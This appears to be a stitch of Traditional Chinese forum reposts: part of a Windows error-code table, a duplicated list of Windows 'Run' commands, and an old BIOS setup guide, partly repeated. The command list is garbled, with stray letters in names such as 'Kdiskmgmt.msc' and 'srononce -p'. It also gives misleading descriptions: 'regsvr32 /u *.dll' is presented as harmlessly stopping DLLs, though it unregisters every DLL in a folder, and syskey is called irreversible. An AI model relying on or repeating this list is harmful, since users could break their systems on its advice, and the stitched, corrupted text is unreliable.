1017 0x03F9 系統嘗試將檔案載入系統登錄或將檔案還原到系統登錄中， 但是，指定檔案的格式不是系統登錄檔的格式。
1018 0x03FA 嘗試在標示為刪除的系統登錄機碼，執行不合法的操作。
1019 0x03FB 系統無法配置系統登錄記錄所需的空間。
1020 0x03FC 無法在已經有子機碼或數值的系統登錄機碼建立符號連結。
1021 0x03FD 無法在臨-時機碼下建立永久的子機碼。
1022 0x03FE 變更要求的通知完成，但資訊 並未透過呼叫者的緩衝區傳回。呼叫者現-在需要自行列舉檔案，找出變更的地方。
1051 0x041B 停止控制已經傳送給其他服務 所依峙的一個服務。
1052 0x041C 要求的控制對此服務無效
1053 0x041D The service did not respond to the start or control request in a timely fashion. 1054 0x041E 無法建立服務的執行緒。
1055 0x041F 服務資料庫被鎖定。
1056 0x0420 這種服務已經在執行。
1057 0x0421 帳戶名稱錯誤或者不存在。
1058 0x0422 指定的服務暫停作用，無法啟動。
1059 0x0423 指定循環服務從屬關係。
1060 0x0424 指定的服務不是安裝進來的服務。
1061 0x0425 該服務項目此時無法接收控制訊息。
1062 0x0426 服務尚未啟動。
1063 0x0427 無法連線到服務控制程-式。
1064 0x0428 處理控制要求時，發生意外狀況。
1065 0x0429 指定的資料庫不存在。
1066 0x042A 服務傳回專屬於服務的錯誤碼。
1067 0x042B The process terminated unexpectedly.
1068 0x042C 從屬服務或群組無法啟動。
1069 0x042D 因為登入失敗，所以沒有啟動服務。
1070 0x042E 在啟動之後，服務在啟動狀態時當機。
1071 0x042F 指定服務資料庫鎖定無效。
1072 0x0430 指定的服務已經標示為刪除。
1073 0x0431 指定的服務已經存在。
1074 0x0432 系統目前正以上一次執行成功的組態執行。
1075 0x0433 從屬服務不存在，或已經標示為刪除。
1076 0x0434 目前的啟動已經接受上一次執行成功的 控制設定。
1077 0x0435 上一次啟動之後，就沒有再啟動服務。
1078 0x0436 指定的名稱已經用於服務名稱或服務顯示 名稱。
1100 0x044C 已經到了磁帶的最後。
1101 0x044D 到了檔案標示。
1102 0x044E 遇到磁帶的開頭或分割區。
1103 0x044F 到了檔案組的結尾。
1104 0x0450 磁帶沒有任何資料。
1105 0x0451 磁帶無法製作分割區。
1106 0x0452 存取多重容體的新磁帶時，發現-目前 區塊大小錯誤。
1107 0x0453 載入磁帶時，找不到磁帶分割區資訊。
1108 0x0454 無法鎖住儲存媒體退帶功能。
1109 0x0455 無法解除載入儲存媒體。
1110 0x0456 磁碟機中的儲存媒體已經變更。
1111 0x0457 已經重設 I/O 匯流排。
1112 0x0458 磁碟機沒有任何儲存媒體。
1113 0x0459 目標 multi-byte code page，沒有對應 Unicode 字元。
1114 0x045A 動態連結程-式庫 (DLL) 起始常式失敗。
1115 0x045B 系統正在關機。
1116 0x045C 無法中止系統關機，因為沒有關機的動作在進行中。
1117 0x045D 因為 I/O 裝置發生錯誤，所以無法執行要求。
1118 0x045E 序列裝置起始失敗，會取消載入序列驅動程-式。
1119 0x045F 無法開啟裝置。這個裝置與其他裝置共用岔斷要求 (IRQ)。 至少已經有一個使用同一IRQ 的其他裝置已經開啟。
1120 0x0460 A serial I/O operation was completed by another write to the serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.)
1121 0x0461 因為已經過了逾時時間，所以序列 I/O 作業完成。(IOCTL_SERIAL_XOFF_COUNTER 不是零。)
1122 0x0462 在磁片找不到任何的 ID 位址標示。
1123 0x0463 磁片磁區 ID 欄位與磁片控制卡追蹤位址 不符。
1124 0x0464 軟式磁碟機控制卡回報了一個軟式磁碟機驅動程-式無法識別 的錯誤。
1125 0x0465 軟式磁碟機控制卡傳回與暫存器中不一致的結果。
1126 0x0466 存取硬碟失敗，重試後也無法作業。
1127 0x0467 存取硬碟失敗，重試後也無法作業。
1128 0x0468 存取硬碟時，必須重設磁碟控制卡，但是 連重設的動作也失敗。
1129 0x0469 到了磁帶的最後。
1130 0x046A 可用伺服器儲存空間不足，無法處理這項指令。
1131 0x046B 發現-潛在的鎖死條件。
1132 0x046C 指定的基本位址或檔案位移沒有適當 對齊。
1140 0x0474 嘗試變更系統電源狀態，但其他的應用程-式或驅動程-式拒絕。
1141 0x0475 系統 BIOS 無法變更系統電源狀態。
1150 0x047E 指定的程-式需要新的 Windows 版本。
1151 0x047F 指定的程-式不是 Windows 或 MS-DOS 程-式。
1152 0x0480 指定的程-式已經啟動，無法再啟動一次。
1153 0x0481 指定的程-式是為舊版的 Windows 所寫的。
1154 0x0482 執行此應用程-式所需的程-式庫檔案之一毀損。
1155 0x0483 沒有應用程-式與此項作業的指定檔案建立關聯。
1156 0x0484 傳送指令到應用程-式發生錯誤。
1157 0x0485 找不到執行此應用程-式所需的程-式庫檔案。
1200 0x04B0 指定的裝置名稱無效。
1201 0x04B1 裝置現-在雖然未連線，但是它是一個記憶連線。
1202 0x04B2 嘗試記憶已經記住的裝置。
1203 0x04B3 提供的網路路徑找不到任何網路提供程-式。
1204 0x04B4 指定的網路提供程-式名稱錯誤。
1205 0x04B5 無法開啟網路連線設定檔。
1206 0x04B6 網路連線設定檔壞掉。
1207 0x04B7 無法列舉非容器。
1208 0x04B8 發生延伸的錯誤。
1209 0x04B9 指定的群組名稱錯誤。
1210 0x04BA 指定的電腦名稱錯誤。
1211 0x04BB 指定的事件名稱錯誤。
1212 0x04BC 指定的網路名稱錯誤。
1213 0x04BD 指定的服務名稱錯誤。
1214 0x04BE 指定的網路名稱錯誤。
1215 0x04BF 指定的資源分享名稱錯誤。
1216 0x04C0 指定的密碼錯誤。
1217 0x04C1 指定的訊息名稱錯誤。
1218 0x04C2 指定的訊息目的地錯誤。
1219 0x04C3 所提供的條件與現-有的條件組發生衝突。
1220 0x04C4 嘗試與網路伺服器連線，但是 與該伺服器的連線已經太多。
1221 0x04C5 其他網路電腦已經在使用這個工作群組或網域名稱。
1222 0x04C6 網路沒有顯示出來或者沒有啟動。
1223 0x04C7 使用者已經取消作業。
1224 0x04C8 要求的作業無法在已經開啟使用者對應區段的檔案執行。
1225 0x04C9 遠端系統拒絕網路連線。
1226 0x04CA 關閉網路連線。
1227 0x04CB 網路傳輸端點已經有相關連的位址。
1228 0x04CC 位址尚未有相關的網路端點。
1229 0x04CD 嘗試在不存在的網路連線作業。
1230 0x04CE 在作用中的網路連線上執行無效的作業。
1231 0x04CF 無法傳輸到遠端網路。
1232 0x04D0 無法連線到遠端系統。
1233 0x04D1 遠端系統不支援傳輸通訊協定。
1234 0x04D2 遠端系統的目的地網路端點沒有作何執行中的服務。
1235 0x04D3 要求已經中止。
1236 0x04D4 進端系統已經中斷網路連線。
1237 0x04D5 無法完成作業，請重試。
1238 0x04D6 無法與伺服器連線，原因是這個帳戶已經到達同時連線數目 的上限。
1239 0x04D7 嘗試在這個帳戶未授權的時間登入網路。
1240 0x04D8 這個帳戶無法從這個地方登入網路。
1241 0x04D9 網路位址無法用於這個要求的作業。
1242 0x04DA 服務已經登記。
1243 0x04DB 指定的服務不存在。
1244 0x04DC 作業無法執行，原因是使用者尚未授權使用。
[轉貼][分享]開始→執行→輸入的指令(118條)
開始→執行→輸入的指令(118條)
*******************
gpedit.msc-----群組原則
sndrec32-------錄音機
nslookup-------IP位址偵測器
explorer-------開啟檔案總管
logoff---------登出指令
tsshutdn-------60秒倒計時關機指令
lusrmgr.msc----本地機用戶和組
services.msc---本機服務設定
oobe/msoobe /a----檢查XP是否啟動
notepad--------開啟記事本
cleanmgr-------磁碟垃圾整理
net start messenger----開始信使服務
compmgmt.msc---電腦管理
net stop messenger-----停止信使服務
vconf-----------啟動 netmeeting
dvdplay--------DVD播放器
charmap--------啟動字元對應表
Kdiskmgmt.msc---磁牒管理實用程序
calc-----------啟動電子計算器
dfrg.msc-------磁碟重組工具
chkdsk.exe-----Chkdsk磁牒檢查
devmgmt.msc--- 裝置管理員
bFdrwtsn32------ 系統醫生
srononce -p ----15秒關機
dxdiag---------檢查DirectX資訊
regedt32-------註冊表編輯器
YMsconfig.exe---系統配置實用程序
rsop.msc-------群組原則結果集
mem.exe--------顯示記憶體使用情況
regedit.exe----註冊表
winchat--------XP自帶區域網路聊天
progman--------程序管理器
winmsd---------系統資訊
perfmon.msc----電腦效能監測程序
winver---------檢查Windows版本
sfc /scannow-----掃瞄錯誤並復原
taskmgr-----工作管理器（2000／xp／2003）
eventvwr.msc------------事件檢視器
secpol.msc----------------本機安全性設定
rsop.msc------------------原則的結果集
ntbackup----------------啟動制作備份還原嚮導
mstsc-----------遠端桌面
winver---------檢查Windows版本
wmimgmt.msc----開啟windows管理體系結構(WMI)
wupdmgr--------windows更新程序
wscript--------windows指令碼宿主設定
write----------寫字板
winmsd---------系統資訊
wiaacmgr-------掃瞄儀和照相機嚮導
winchat--------XP原有的區域網路聊天
mem.exe--------顯示記憶體使用情況
sconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠端桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------開啟控制台
mobsync--------同步指令
dxdiag---------檢查DirectX資訊
drwtsn32------ 系統醫生
devmgmt.msc--- 裝置管理員
dfrg.msc-------磁碟重組程式
diskmgmt.msc---磁牒管理實用程序
dcomcnfg-------開啟系統元件服務
ddeshare-------開啟DDE共享設定
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------開啟記事本
nslookup-------網路管理的工具嚮導
ntbackup-------系統制作備份和還原
narrator-------螢幕「講述人」
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)指令檢查連接
Usyncapp--------新增一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
psndrec32-------錄音機
shrpubw--------新增共用資料夾
secpol.msc-----本機安全原則
syskey---------系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc---本機服務設定
Sndvol32-------音量控制程序
sfc.exe--------系統檔案檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機指令
tourstart------xp簡介（安裝完成後出現的漫遊xp程序）
taskmgr--------工作管理器
eventvwr-------事件檢視器
eudcedit-------造字程序
explorer-------開啟檔案總管
lpackager-------對像包裝程序
perfmon.msc----電腦效能監測程序l
progman--------程序管理器
regedit.exe----註冊表
rsop.msc-------群組原則結果集
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件執行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示字元
chkdsk.exe-----Chkdsk磁牒檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元對應表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板檢視器
conf-----------啟動netmeeting
compmgmt.msc---電腦管理
ciadv.msc------索引服務程序
osk------------開啟螢幕小鍵盤
odbcad32-------ODBC資料來源管理器
oobe/msoobe /a----檢查XP是否啟動
lusrmgr.msc----本地機用戶和組
iexpress-------木馬元件服務工具，系統原有的
fsmgmt.msc-----共用資料夾管理器
utilman--------協助工具管理器
*******************
gpedit.msc-----群組原則
sndrec32-------錄音機
nslookup-------IP位址偵測器
explorer-------開啟檔案總管
logoff---------登出指令
tsshutdn-------60秒倒計時關機指令
lusrmgr.msc----本地機用戶和組
services.msc---本機服務設定
oobe/msoobe /a----檢查XP是否啟動
notepad--------開啟記事本
cleanmgr-------磁碟垃圾整理
net start messenger----開始信使服務
compmgmt.msc---電腦管理
net stop messenger-----停止信使服務
vconf-----------啟動 netmeeting
dvdplay--------DVD播放器
charmap--------啟動字元對應表
Kdiskmgmt.msc---磁牒管理實用程序
calc-----------啟動電子計算器
dfrg.msc-------磁碟重組工具
chkdsk.exe-----Chkdsk磁牒檢查
devmgmt.msc--- 裝置管理員
bFdrwtsn32------ 系統醫生
srononce -p ----15秒關機
dxdiag---------檢查DirectX資訊
regedt32-------註冊表編輯器
YMsconfig.exe---系統配置實用程序
rsop.msc-------群組原則結果集
mem.exe--------顯示記憶體使用情況
regedit.exe----註冊表
winchat--------XP自帶區域網路聊天
progman--------程序管理器
winmsd---------系統資訊
perfmon.msc----電腦效能監測程序
winver---------檢查Windows版本
sfc /scannow-----掃瞄錯誤並復原
taskmgr-----工作管理器（2000／xp／2003）
eventvwr.msc------------事件檢視器
secpol.msc----------------本機安全性設定
rsop.msc------------------原則的結果集
ntbackup----------------啟動制作備份還原嚮導
mstsc-----------遠端桌面
winver---------檢查Windows版本
wmimgmt.msc----開啟windows管理體系結構(WMI)
wupdmgr--------windows更新程序
wscript--------windows指令碼宿主設定
write----------寫字板
winmsd---------系統資訊
wiaacmgr-------掃瞄儀和照相機嚮導
winchat--------XP原有的區域網路聊天
mem.exe--------顯示記憶體使用情況
sconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠端桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------開啟控制台
mobsync--------同步指令
dxdiag---------檢查DirectX資訊
drwtsn32------ 系統醫生
devmgmt.msc--- 裝置管理員
dfrg.msc-------磁碟重組程式
diskmgmt.msc---磁牒管理實用程序
dcomcnfg-------開啟系統元件服務
ddeshare-------開啟DDE共享設定
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------開啟記事本
nslookup-------網路管理的工具嚮導
ntbackup-------系統制作備份和還原
narrator-------螢幕「講述人」
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)指令檢查連接
Usyncapp--------新增一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
psndrec32-------錄音機
shrpubw--------新增共用資料夾
secpol.msc-----本機安全原則
syskey---------系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc---本機服務設定
Sndvol32-------音量控制程序
sfc.exe--------系統檔案檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機指令
tourstart------xp簡介（安裝完成後出現的漫遊xp程序）
taskmgr--------工作管理器
eventvwr-------事件檢視器
eudcedit-------造字程序
explorer-------開啟檔案總管
lpackager-------對像包裝程序
perfmon.msc----電腦效能監測程序l
progman--------程序管理器
regedit.exe----註冊表
rsop.msc-------群組原則結果集
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件執行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示字元
chkdsk.exe-----Chkdsk磁牒檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元對應表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板檢視器
conf-----------啟動netmeeting
compmgmt.msc---電腦管理
ciadv.msc------索引服務程序
osk------------開啟螢幕小鍵盤
odbcad32-------ODBC資料來源管理器
oobe/msoobe /a----檢查XP是否啟動
lusrmgr.msc----本地機用戶和組
iexpress-------木馬元件服務工具，系統原有的
fsmgmt.msc-----共用資料夾管理器
utilman--------協助工具管理器
[轉貼][分享] BIOS精解
[轉貼][分享] BIOS精解
BIOS(基本輸入輸出系統)為出廠時燒錄在主機板上Flash ROM之程式,其扮演著硬體與作業系統溝通的角色,透過BIOS可設定系統操作模式及硬體之相關參數。系統開機時,BIOS會先進行開機自我測試(POST)。此時,按下鍵即可進入BIOS設定主畫面。其功能及操作方式說明如下:
【StandardCMOSSetup】系統基本參數設定
此選項之功能主要為設定系統基本參數。使用者可透過移動亮棒的方式來選擇欲設定的項目,用及鍵來修改內容。在每一選項中,您可按鍵來顯示該選項可供選擇之內容。
Date(日期)
設定目前日期。可設定之範圍為:
Month(月)：1至12
Day(日)：1至31
Year(年)：至2079
Time(時間)
設定目前時間。可設定之範圍為:
Hour(時)：00至23
Minu7te(分)：00至59
Second(秒)：00至59
HardDisks(硬碟)
此選項用來設定系統中所有IDE硬碟(PrimaryMaster/Slave;SecondaryMaster/Slave)之類型。各選項說明如下:
Auto:允許系統開機時自動偵測硬碟類型並加以設定。
None:未安裝硬碟。
User:允許使用者自行設定硬碟之相關參數。包括CYLS(磁柱數),HEAD(讀寫頭數),PRECOMP(寫入預補償),LANDZ(放位置)。在硬碟機所附之說明書均磁頭停詳載這些規格。
[請注意]:BIOS不支援SCSI硬碟之設定。
至於MODE的選項有三種:
NORMAL模式:為傳統之標準模式,支援硬碟機容量最高至528MB。
LBA(LogicalBlockAddressingMode)模式:適用於硬碟機容量超過且支援邏輯區塊定址(LBA)功能者。
LARGE模式:當硬碟機容量超過528MB,而硬碟或作業系統不支援LBA模式時,可採用此選項。
DriverA/DriverB(None)
此選項設定軟碟機之類型，可供選擇之項目有:360KB,5.25in;1.2MB,5.25in;720KB,3.5in;1.44MB,3.5in;2.88MB,3.5in;None等六種類型。
Floppy3ModeSupport(預設值為Disable)
若使用日本標準模式之軟碟機(Floppy3Mode),則設定之。否則請取消(disable)此設定功能。可供選擇之項目有:driveA,driveB,Both,及Disable。
Video(視訊顯示卡型態,預設值為EGA/VGA)
設定顯示卡之種類,可供選擇之項目有:MONO(單色),EGA/VGA(彩色),CGA40,CGA80。
HaltOn(暫停開機,預設值為AllError)
本欄設定何種型態的異常將會導致系統暫停開機,可供選擇之項目有:
AllErrors:有任何錯誤,系統均顯示錯誤訊息,並暫停開機。
NoErrors:無論任何錯誤系統均照常開機。
All,Butkeyboard:有任何錯誤,系統暫停開機,但鍵盤異常則照常開機
All,ButDisk/Key:有任何錯誤,系統暫停開機,但磁碟機及鍵盤異常則照常開機。
【BIOSFeaturesSetup】BIOS特殊參數設定
本項設定可根據您的系統及需求來強化您系統的性能,但若對設定之功能不甚了解,建議您使用預設值。在本項設定主畫面右下方描述了功能鍵之操作方法。BIOS特殊參數設定功能說明如下：
VirusWarning病毒防護警告(預設值為Disable)
此功能可防止硬碟之開機磁區及分割區被更改,任何試圖寫入該區之動作將會導致系統當機並顯示警告訊息。
[請注意]:當您安裝新的作業系統(如Win95)時,請先取消(disable)此功能,以免因衡突而無法順利安裝。
CPUInternalCache(CPU內部快取記憶體,預設值為Enable)
本項功能用於啟用(enable)或取消(disable)CPULevel1快取記憶體。就整體速度而言,啟用L1快取將比取消L1快取時提升許多。因此,預設值為啟用(enable)。
ExternalCache(外部快取功能，預設值為Enable)
本項功能用於啟用(enable)或取消(disable)CPULevel2快取記憶體。就整體速度而言,啟用L2快取將比取消L2快取時提升許多。因此,預設值為啟用(enable)。PentiumProCPU已內建L2快取記憶體。
QuickPowerOnSelfTest(快速開機自我測試,預設值為Enable)
電腦開機時,BIOS會執行一連串之開機自我測試。當啟用本功能時,會精簡及跳過相同項目之測試,以縮短開機時間。
HDDSequenceSCSI/IDEFirst(IDE/SCSI硬碟開機優先順序,預設值為IDE)
當同時安裝SCSI及IDE硬碟時,本選項功能可用來選擇以SCSI或IDE硬碟作為開機硬碟。
BootSequence(開機順序,預設值為C,A)
此選項設定當電腦開機時,選擇由A碟,C碟及CD-ROM開機之優先順序。
SwapFloppyDrive(軟碟機互換,預設值為Disable)
當啟用(enable)本項功能時,則A,B碟互換。亦即原先A碟被指定成B碟,B碟被指定為A碟。如此一來,您就不需打開機殼互換排線了。
BootUpFloppySeek(開機軟碟搜尋,預設值為Disable)
當啟用(enable)本功能,則電腦開機時,BIOS之POST程式會去偵測Floppy是否存在。否則,跳過此偵測動作。
FloppyDiskAccessControl(軟碟存取控制讀/取,預設值為R/W)
本功能主要用來控制軟碟之存取。當選取“ReadOnly”時,則只能由軟碟讀取資料,而無法將系統之資料拷貝至軟碟中,當選取R/W時,則軟碟可正常讀取資料。
BootUpNumLockStatus(開機數字鍵鎖定狀態,預設值為On)
On:開機時數字鍵設定為數字狀態
Off:開機時數字鍵設定為方向狀態
IDEHDDBlockModeSectors(IDE硬碟磁區設定,預設值為HDDMAX)
新式IDE硬碟大多支援一次傳輸多個磁區之功能。啟用(enable)本功能則可加快硬碟存取速度。選項有HDDMAX,Disabled,2,4,8,16,及32。
TypematicRateSetting(鍵盤速率設定,預設值為Disable)
本選項用來決定是否啟用鍵盤速率設定功能。若啟用(enable),則TypematicRate及TypematicRelay之設定才有作用。
TypematicRate(字元/秒,鍵盤重覆率,預設值為6)
本選項設定:當您按鍵不放時,每秒出現之字元數。選項有：6,8,10,12,15,20,24,30(字元/秒)。
Typematicdelay(輸入延遲時間,預設值為250ms)
當按鍵不放,則超過設定延遲時間後,鍵盤會以一定速率重覆輸入字元。選項有250ms,500ms,750ms,1000ms。
SecurityOption(安全選項設定,預設值為System)
本選項設定要求使用者輸入密碼之時機,有下列兩種選項:System:每次開機時,電腦會要求輸入正確密碼,否則無法開機。Setup:只有在進入BIOS設定時,系統才會要求輸入確密碼。
PS/2MouseFunctionControl(PS/2滑鼠功能控制,預設值為Auto)
若設定為Auto:則開機時,系統將會偵測PS/2滑鼠是否存在。若存在,則IRQ12即保留給PS/2Mouse使用。若設定為disable:則IRQ12保留給介面卡使用,此時PS/2滑鼠沒有作用。
PCI/VGAPaletteSnoop(預設值為Disable)
若使用非標準VGA卡(如影像加速卡、MPEG卡)有時無法正常顯現色彩,此時設為"Enable"將可解決此問題。除此之外,建議使用預設值。
OS/2OnboardMemory>64M(預設值為Disable)
若作業系統使用OS/2,且安裝之主記憶體容量超過64MB則設定為啟用(enable),否則設定為預設值Disable。
VideoBIOSShadow(視訊BIOS快速執行功能,預設值為Enable)
啟動本功能,則VGA之BIOS即拷貝至主記憶體以加速執行速度,若取消(disable)此功能,則顯示速度將變得很慢。
C8000-CBFFFtoDC000-DFFFF(預設值為Disable)
若您使用其他介面卡,則選取此功能時,系統將會利用Shadow技術來加快介面卡上ROM之執行速度。不過,如此一來將會佔用主記憶體之空間。
【ChipsetFeaturesSetup】晶片組參數設定:
本選項主要是經由晶片組之參數設定,來調整硬體文件之性能.若對這些設定內容不甚了解建議您採用預設值。
AutoConfiguration(自動設定,預設值為60nsDRAM)
您可依照您所使用的記憶體來選取60MDRAMor70NSDRAM選項,則BIOS會根據您的設定自動調整第2到9選項。若選擇“disable”(取消),則第2至第9選項可自行調整。
SDRAMCAS#Latency(預設值為3T)
若您使用較快SDRAM模組,則可設為2T來獲得更快之存取速度。否則請設為預設值3T,或洽詢您的經銷商有關DIMM之規格。
SDRAMSpeculativeRead(預設值為Disable)
PassiveRelease(預設值Enable)
RelayTransaction(預設值為Disable)
16-bitI/ORecoveryTime(16位元之I/O恢復時間,預設值為1BUSCLK)
定義為16-bitISA卡I/O之恢復時間。
8-bitI/ORecoveryTime(8位元之I/O恢復時間,預設值為1BUSCLK)
定義為8-bitISA卡I/O之恢復時間。
VIDEOBIOSCacheable(視訊快取功能,預設值為Disable)
Enable:啟用快取功能以加快顯示速度。
Disable:取消此功能。
MemoryHoleatAddress(預設值為None)
一些ISA卡會要求使用14-16MB或15-16MB之記憶位址空間,若選取14MB-16MB或15MB-16MB,則系統將無法使用這部份之記憶體空間。您可選取None來取消此功能。
OnboardFDCSwapA:BA，B碟互換,預設值為NoSwap)
當啟用(enable)本項功能時則A,B碟互換。亦即原先A碟被指定成B碟,B碟被指定為A碟。如此一來，您就不需打開機殼互換排線了。
OnboardSerialPort1預設值為3F8H/IRQ4)
設定主機板上串列埠1之位址及IRQ
OnboardSerialPort2預設值為2F8H/IRQ3)
設定主機板上串列埠2之位址及IRQ
OnboardParallelPort預設值為378H/IRQ7)
設定主機板上並列埠之位址及IRQ。
ParallelPortMode(並列埠模式,預設值為ECP+EPP)
設定並列埠之操作模式,有下列選項:
Normal:一般速度單向執行。
EPP:最高速度雙向執行。
ECP:超高速雙自執行。
ECP+EPP:ECP與EPP二種模式並用。
ECPDMASelect(ECPDMA通道選擇,預設值為3)
若在ECP模式下操作時,則提供DMA通道選擇有1,3,Disable三種設定。
UART2UseInfrared(預設值為Disable)
本項功能用來支援紅外線（IR）傳輸功能。
Enable：則設定第二串列埠UART支援紅外線傳輸功能。
Disable：則設定第二串列埠UART支援COM2。
OnboardPCIIDEEnable(主機板IDE通道,預設值為Both)
用來啟用內建IDE通道。選項有：
PrimaryIDEChannel
SecondaryIDEChannel
Both(二者均啟用)
Disable(取消)。
IDE0Master/SlaveMode,IDE1Master/SlaveMode(硬碟時序模式設定,預設值為Auto)
預設為Auto時,系統會自動偵測四個IDE裝置之時序模式以確保以最佳速度運行。您也可以自行設定時序模式為(0,1,2,3,4)。
【PowerManagementSetup】電源管理設定
VideoOFFOption（關閉螢幕省電設定,預設值為Susp,Stby->Off）
本選項用來設定螢幕省電管理模式中啟用“螢幕關閉”之時機。可選用之項目說明如下：
Susp,Stby->Off:只在待機(Standby)或暫停(Suspend)之省電模式下才關閉螢幕。
Suspend->Off:只在暫停(Suspend)模式下才關閉螢幕顯示。
Alwayson:在任何模式下均不關閉螢幕顯示。
Allmodes->Off:在任何省電模式下均關閉螢幕顯示。
VideoOFFMethod(螢幕關閉方式,預設值為V/HSYNC+Blank)
用來選擇螢幕關閉之模式。但若無法順利關閉螢幕,則設定為"Blank"若顯示卡支援DPMS功能,則設定為"DPMS"。
PWRButton<4secs(按住電源開關鍵少於4秒,預設值為SoftOff)
本功能設定當壓住電源按鍵時間少於4秒之情況下,系統之操作模式。
SoftOff:執行ATX電源軟體關機。
Suspend:系統進入暫停（Suspend）模式。
NOFunction:取消任何有關ATX開關之功能。
[請注意]:一旦PWR壓住超過4秒,則不論如何設定,系統均會關機。
PWRUpOnModemAct(數據機動作時開機,預設值為Enable)
ACPWRLossRestart(預設值為Disable)
--PMTimers--
HDDPowerDown：
當系統在選定之時間內未對硬碟進行存取動作,則進入省電模式。省電模式依耗電量大小依序為DozeMode(睡眠模式),Standbymode(待機模式)及SuspendMode(暫停模式)。若硬碟在各模式選定之時間內尚無動作,則依序進入下一個更省電模式。
FanMonitor(XXXXRPM)
主機板內建監控裝置能偵測風扇轉速(轉/秒),若無安裝支援此功能之風扇,則選取Ignore(忽略),以免產生錯誤訊息。
ThermalMonitor(xxxC/xxxF)
主機板內建監控裝置能偵測CPU及主機板之溫度。若選取Ignore則當CPU及主機板溫度異常時,將不顯示錯誤訊息。
VoltageMonitor(xx.xV)
主機板內建監控裝置能偵測系統之電壓值。若選取Ignore則當系統電壓異常時，將不顯示錯誤訊息。
【PNPandPCISetup】即插即用與PCI之設定
PNPOSInstalled(是否安裝PNP作業系統,預設值為No)
當您使用的是具有即插即用(PNP)功能的作業系統時(如Windows95,98),則您可選擇Yes。
SlotXIRQ(PCI插槽的中斷值,預設值為Auto)
用來設定每一個PCI插槽之IRQ值,項目有NA,9,10,11,12,13,14,15,及Auto(即由BIOS自動設定)。
PCILatencyTimer(預設值為32PCIClock)
採用“32PCIClock”將可使主機板之PCI速度最快。
IRQXXUsedByISA(預設值為No/ICU)
用來保留特定IRQ給non-PnP之ISA卡。
DMAXXUsedByISA(預設值為No/ICU)
用來保留特定DMA通道給non-PnP之ISA卡。
ISAMEMBlockBASE(預設值為No/ICU)
用來保留給ISA卡之記憶體之區塊大小與位址。
SYMBIOSSCSIBIOS(預設值為Auto)
本項功能可選用Auto來啟用內建NCRSCSIBIOS,您可選取Disable來取消此項功能。
USBFunction（萬用埠功能設定,預設值為Disable）
本項功能用來啟用USB之功能,本主機板可支援萬用序列埠(USB),但現在之作業系統尚未支援USB功能,所以目前採用預設值為(disable)。
【LoadBIOSDefault】（載入BIOS參數預設值）
當系統安裝後不太穩定,則可選用本功能。此時系統將會取消一些高效能之操作模式設定,而處在最保守狀態下。如此,使用者便可順利開機並進而找出問題。當選擇本項時,主畫面會出現下列訊息:
LoadBIOSDefaults（Y/N）?
鍵入Y並按Enter即可執行本項功能。
[請注意]:本項設定不會影響CMOS內儲存之設定值。
【LoadSetupDefaults】載入設定預設值
此為BIOS出廠設定值。此時系統會以最佳化之模式運作。選擇此功能時,主畫面會出現下列訊息:
LoadSETUPDefaults（Y/N）?
鍵入Y並按Enter即可執行本項功能。
【SupervisorPasswordandUserPassword】(密碼設定)
本功能用來設定System及Setup之密碼,本項功能需配合BIOSFeaturesSetup中之SecurityOption使用。
[請注意]:假若您遺忘了密碼,需透過清除CMOS之內容才得以重新開機。
【IDEHDDAutoDetection】(硬碟型態自動偵測)
此項可自動偵測IDE硬碟之規格及相關參數,並能自動存入CMOS之設定(BIOSStandardCMOSSetup)中。
【SaveandExitSetup】將設定值儲存後，離開設定主畫面。
【ExitWithoutSaving】不儲存設定值，直接離開設定主畫面。
BIOS(基本輸入輸出系統)為出廠時燒錄在主機板上Flash ROM之程式,其扮演著硬體與作業系統溝通的角色,透過BIOS可設定系統操作模式及硬體之相關參數。系統開機時,BIOS會先進行開機自我測試(POST)。此時,按下鍵即可進入BIOS設定主畫面。其功能及操作方式說明如下:
【StandardCMOSSetup】系統基本參數設定
此選項之功能主要為設定系統基本參數。使用者可透過移動亮棒的方式來選擇欲設定的項目,用及鍵來修改內容。在每一選項中,您可按鍵來顯示該選項可供選擇之內容。
Date(日期)
設定目前日期。可設定之範圍為:
Month(月)：1至12
Day(日)：1至31
Year(年)：至2079
Time(時間)
設定目前時間。可設定之範圍為:
Hour(時)：00至23
Minu7te(分)：00至59
Second(秒)：00至59
HardDisks(硬碟)
此選項用來設定系統中所有IDE硬碟(PrimaryMaster/Slave;SecondaryMaster/Slave)之類型。各選項說明如下:
Auto:允許系統開機時自動偵測硬碟類型並加以設定。
None:未安裝硬碟。
User:允許使用者自行設定硬碟之相關參數。包括CYLS(磁柱數),HEAD(讀寫頭數),PRECOMP(寫入預補償),LANDZ(放位置)。在硬碟機所附之說明書均磁頭停詳載這些規格。
[請注意]:BIOS不支援SCSI硬碟之設定。
至於MODE的選項有三種:
NORMAL模式:為傳統之標準模式,支援硬碟機容量最高至528MB。
LBA(LogicalBlockAddressingMode)模式:適用於硬碟機容量超過且支援邏輯區塊定址(LBA)功能者。
